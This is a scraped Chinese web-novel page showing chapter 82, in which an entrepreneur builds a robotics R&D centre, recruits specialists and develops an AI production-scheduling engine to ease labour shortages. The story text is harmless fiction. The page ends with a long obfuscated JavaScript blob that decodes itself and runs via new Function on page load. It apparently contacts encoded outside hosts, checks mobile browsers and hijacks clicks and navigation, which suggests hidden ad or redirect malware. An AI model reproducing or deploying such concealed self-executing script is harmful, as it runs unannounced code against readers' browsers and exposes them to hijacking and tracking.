首页
[切换至繁体版]
返回

第八十二章 引擎

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    第八十二章引擎(第1/2页)
    第八十二章引擎
    国内业务的全面开花和非洲根据地的稳步扎根,让陆迪峰有了更充足的底气去推进下一步的计划。他站在龙渊一号指挥中心的全景屏幕前,看着上面跳动着的各项经营数据——源点实验室的超导带材出货量、深蓝逻辑的网络安全服务合同额、昆仑勘探的矿石销售量——这些数字在过去几个月里订单保持着环比增长。但陆迪峰的目光并没有停留在这些数字上太久,他更关注的是屏幕角落里的一组曲线:全国劳动力参与率的月度变化曲线。那条曲线正在以肉眼可见的速度向下倾斜。
    这不是什么秘密。中国的人口结构正在经历深刻的变化,老龄化加速,年轻劳动力供给持续收缩。统计局的数据显示,过去五年间,全国劳动年龄人口减少了超过两千万。工厂招不到工人,服务业留不住员工,就连一向被视为“铁饭碗”的制造业国企,也开始面临技术工人断层的困境。劳动力短缺,正在成为中国经济的结构性瓶颈。
    而对于陆迪峰来说,这个瓶颈既是挑战,也是机遇。他所掌握的智能生产线技术,恰恰是破解这道难题的关键钥匙。现在需要做的,是将这把钥匙打磨得更加锋利,然后把它交到尽可能多的工厂主手中。
    源点智能实验室的规模已经无法满足陆迪峰的雄心。现有的研发团队虽然精干,但人数有限,且主要集中在机械结构和控制系统两个方向。要加速智能生产线的迭代升级,还需要在机器视觉、柔性抓取、人机协作、工艺建模等多个细分领域同时发力。
    陆迪峰决定在长三角某科教资源丰富的城市设立源点智能研发中心,作为智能生产线技术的第二研发基地。选址的理由很充分:这座城市拥有多所国内知名的工科院校,每年毕业的机械、电子、计算机专业的硕博士数以千计,是招聘高端人才的理想之地。同时,这座城市周边聚集了大量的制造业企业,便于研发团队深入了解一线生产需求,进行实地测试和应用验证。
    研发中心的筹备工作由林语负责。她在两个月内完成了选址、租赁、装修和团队组建的全部工作。研发中心租下了某高新技术开发区内一栋五层的独栋办公楼,总面积约六千平方米,一层为机械装配车间和测试实验室,二至四层为各专业团队的办公区和研发实验室,五层为会议室和行政办公区。
    人才招募是研发中心筹建工作的重中之重。林语通过猎头公司和行业人脉,陆续引进了几位在各自领域颇有建树的专家——
    机器视觉方向,她挖来了一位在某头部安防企业担任算法总监的年轻人。此人名叫何志远,三十五岁,毕业于中科院自动化所,在工业视觉检测领域有近十年的从业经验,主导过多条手机零部件外观检测线的算法开发。他在了解了源点智能实验室的技术路线后,对类脑网络与机器视觉的结合表现出了极大的兴趣,几乎没有讨价还价就接受了邀约。
    柔性抓取方向,林语通过一位学术圈的朋友介绍,结识了某高校机器人研究所的副教授方旭东。方旭东在软体机器人领域耕耘了七八年,发表过十多篇高水平论文,但在现行的高校评价体系下,应用型研究很难获得足够的经费支持和职称晋升空间。林语向他描绘了源点智能实验室正在做的事情——用液态金属和类脑网络打造真正能够适应复杂环境的智能机械臂——方旭东听后沉默了很久,然后说了一句:“我在学校里憋了太久,想到真正的前线去看看。”
    工艺建模方向,林语招募了一位从某德资汽车零部件企业离职的工艺专家。这位名叫孙国平的专家在汽车发动机缸体加工工艺领域积累了二十多年的经验,对切削参数、刀具寿命、冷却液配比等细节了如指掌。他在参观了矿区的智能生产线后,给出了一个让陆迪峰印象深刻的评价:“你们这条线,硬件已经达到了国际一流水平,但对加工工艺的理解还停留在教科书层面。工艺不是公式,是经验。而经验,是需要时间和试错来积累的。”
    随着研发团队的扩充,智能生产线的产品迭代速度明显加快。研发中心成立后的第一个月,就完成了对第一代智能生产线产品的全面回测,梳理出了二十多项需要改进的问题,涉及视觉识别准确率、机械臂运动平滑度、AGV路径规划效率等多个方面。
    何志远接手视觉系统后,做的第一件事是重建了训练数据集。他发现,原有的数据集虽然规模不小,但样本多样性不足——大部分图像是在矿区车间相对均匀的光照条件下拍摄的,物体摆放位置也比较规整。而真实工厂的环境要复杂得多:光照可能来自多个方向且有阴影,工件可能随意堆叠且有油污覆盖,传送带上可能有振动导致图像模糊。他带领团队花了三周时间,跑了六家不同类型的工厂,采集了超过十万帧真实生产环境下的图像数据,然后用这些数据重新训练了视觉识别模型。新模型在测试集上的识别准确率从百分之九十四点五提升到了百分之九十八点二,对油污覆盖工件的识别准确率更是从百分之七十一跃升到了百分之九十六。
    方旭东加入后,对机械臂的末端执行器进行了一次彻底的重新设计。原有的气动夹爪虽然结构简单、控制方便,但只能抓取形状规则的物体,对于异形件和易碎品束手无策。方旭东设计了一种基于电致变刚度材料的柔性抓手——这种抓手在通电时处于柔软状态,可以贴合任意形状的物体表面;断电后迅速硬化,将物体牢牢固定。这种抓手的抓取成功率在测试中达到了百分之九十九点五以上,即使是鸡蛋豆腐之类的易碎品也能无损抓取。
    孙国平则主导开发了一套工艺参数自适应优化系统。这套系统通过在机床上加装振动传感器和切削力传感器,实时采集加工过程中的状态数据,然后由类脑网络根据这些数据自动调整主轴转速、进给速度和切削深度,使加工过程始终处于最优状态。在某汽车零部件厂的试用中,这套系统使刀具寿命延长了约百分之三十,加工表面粗糙度降低了约百分之十五,废品率下降了近一半。
    产品迭代的另一个重要方向,是从单台设备的智能化走向整条生产线的系统化协同。早期的智能生产线产品,本质上是用智能机械臂替换了人工工位,但生产线整体的运行和组织方式并没有发生根本性的变化。物料仍然需要人工搬运,工序之间的衔接仍然需要人工协调,生产计划的调整仍然需要人工干预。
    (本章未完,请点击下一页继续阅读)第八十二章引擎(第2/2页)
    研发中心成立后的第三个月,陆迪峰给团队下达了一个新的任务:开发一套能够覆盖整条生产线所有环节的“全流程智能生产系统”。这套系统不仅要包含智能机械臂、AGV、视觉检测等硬件设备,还要包含一套由类脑网络驱动的生产调度引擎——它能够根据订单的交期、物料的库存、设备的状态和人员的排班,自动生成最优的生产计划,并在执行过程中根据实际情况实时调整。
    这套系统的开发难度远超单台设备的智能化改造。最大的挑战在于,生产调度是一个典型的组合优化问题,可能的调度方案数量随着工序数量的增加呈指数级增长,传统算法很难在有限的时间内找到最优解。赵寒的团队尝试了一种新的思路——将生产调度问题转化为类脑网络的强化学习任务,让网络通过与生产环境的交互来学习调度策略。
    训练过程在深蓝之心的服务器集群上持续了将近两周。赵寒的团队构建了一个包含数百条虚拟生产线的仿真环境,每条虚拟生产线都模拟了不同类型的产品、工序和设备配置。类脑网络在这个仿真环境中进行了数百万轮的调度尝试,从一开始的完全随机调度,逐步学会了如何合理安排工序顺序、如何平衡各设备的负载、如何在出现异常时快速调整计划。
    训练完成后,团队将这套调度引擎部署到了矿区的一条试点生产线上进行实测。测试持续了整整一个月,涵盖了多品种小批量和大批量少品种两种典型的生产模式。结果表明,在相同的订单量和设备配置下,采用类脑调度引擎的生产线比采用人工调度的生产线,产能提升了约百分之二十三,订单交付及时率从百分之八十一提升到了百分之九十七,设备综合效率从百分之六十五提升到了百分之七十九。
    在全流程智能生产系统通过内部验证后,陆迪峰开始考虑如何将这些技术成果更大规模地推向市场,真正为解决劳动力短缺问题贡献力量。
    他决定采取“标杆示范+行业复制”的策略。第一步,在国内选取几个劳动力短缺问题最为突出的制造业细分领域——如五金加工、电子组装、食品包装——与各领域的头部企业合作,建设一批全流程智能生产示范线。示范线的建设费用由源点智能实验室与合作企业共同承担,示范线建成后,向同行业的其他企业开放参观,用实际效果说话。
    第二步,在示范线取得成功的基础上,推出针对不同行业的标准版智能生产系统方案。方案采用模块化设计,核心组件通用,行业专用组件可替换,以降低定制化开发的成本和周期。定价策略上,采取“硬件微利、软件按年收费”的模式,降低客户的初始采购门槛,用持续的服务收入来覆盖研发投入。
    “我们的目标不是卖设备。”陆迪峰在一次内部战略讨论会上说,“我们的目标是让那些因为招不到人而发愁的工厂主,能够用我们的系统继续运转下去,甚至运转得比以前更好。当他们发现用机器比用人更便宜、更稳定、更高效的时候,他们自然会主动来找我们。”
    “那会不会导致更多人失业?”有人提出了一个敏感的问题。
    “短期看,某些重复性强的岗位确实会被替代。但长期看,我们的系统需要人来维护、来编程、来管理,这些岗位的技能要求更高、收入也更高。我们要做的不是消灭就业,而是把就业从低技能的重复劳动,转移到高技能的技术岗位上去。”陆迪峰顿了顿,又补充了一句,“而且,别忘了,我们的人口结构决定了——再过十年,就算你想找人来做那些重复劳动,也找不到了。到那时候,如果没有机器顶上,工厂就只能关门。”
    会议室里安静了几秒。没有人再提出异议。
    研发中心的扩张和产品迭代的加速,带来了对人才更强烈的渴求。林语在长三角各大高校的就业网上发布了招聘信息,同时通过行业内的猎头和人脉网络,持续挖掘有真才实学的技术人才。
    招聘的门槛不低——硕士学历是基本要求,有实际项目经验者优先,发表过高水平论文或拥有发明专利者加分。但源点智能实验室提供的薪酬待遇和发展空间,在行业内颇具竞争力:应届硕士起薪高于当地平均水平约百分之三十,核心岗位的骨干员工可获得项目分红和期权激励,表现突出者还有机会被选派到非洲矿区或海外研发机构进行轮岗交流。
    第一批通过校园招聘入职的十五名应届硕博士,在经过了为期一个月的集中培训后,被分配到了各个研发小组。他们中有的人在本科期间就拿过全国大学生机器人大赛的一等奖,有的人在硕士阶段参与了国家重点研发计划的课题,有的人在博士期间发表的论文被引次数已经超过了三位数。这些年轻人带着满腔的热情和新颖的思路涌入研发中心,为原本略显沉闷的团队注入了新鲜的活力。
    一名新入职的机械工程博士在参与柔性抓手项目的过程中,提出了一种基于拓扑优化的结构轻量化方案,使抓手的重量减轻了约百分之三十,同时保持了原有的强度和刚度。方旭东在看过他的设计方案后,破例让他直接负责下一代柔性抓手项目的开发。
    一名计算机视觉方向的硕士在入职后的第二周,就发现了一个导致视觉识别模型在特定光照条件下误报率升高的bug,并提出了一个简洁而有效的修复方案。何志远在测试后,在团队群里发了一条消息:“这个新人,可以。”
    陆迪峰在查看研发中心的月度简报时,注意到了这些细节。他没有说什么,但在心中默默地记下了一笔。他知道,这些年轻人中的某一些人,在未来可能会成长为支撑整个技术体系的栋梁之才。而他现在需要做的,是为他们提供一个足够宽广的舞台,让他们能够尽情地施展自己的才华。
    窗外,夜色渐深。研发中心的灯光依然亮着,几间实验室里还有人在加班调试设备。远处的城市灯火连成一片璀璨的光海,与头顶的星空交相辉映。在这片光海中,有无数的工厂正在为招不到人而发愁,有无数的生产线正在因为人力不足而减产,有无数的企业主正在焦虑地盯着不断下滑的劳动力数据。
    但在这栋楼里,有一群人正在用自己的方式,为这些问题寻找答案。他们也许还不能立刻改变整个国家的劳动力格局,但他们正在一点一点地,把那些不可能变为可能。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();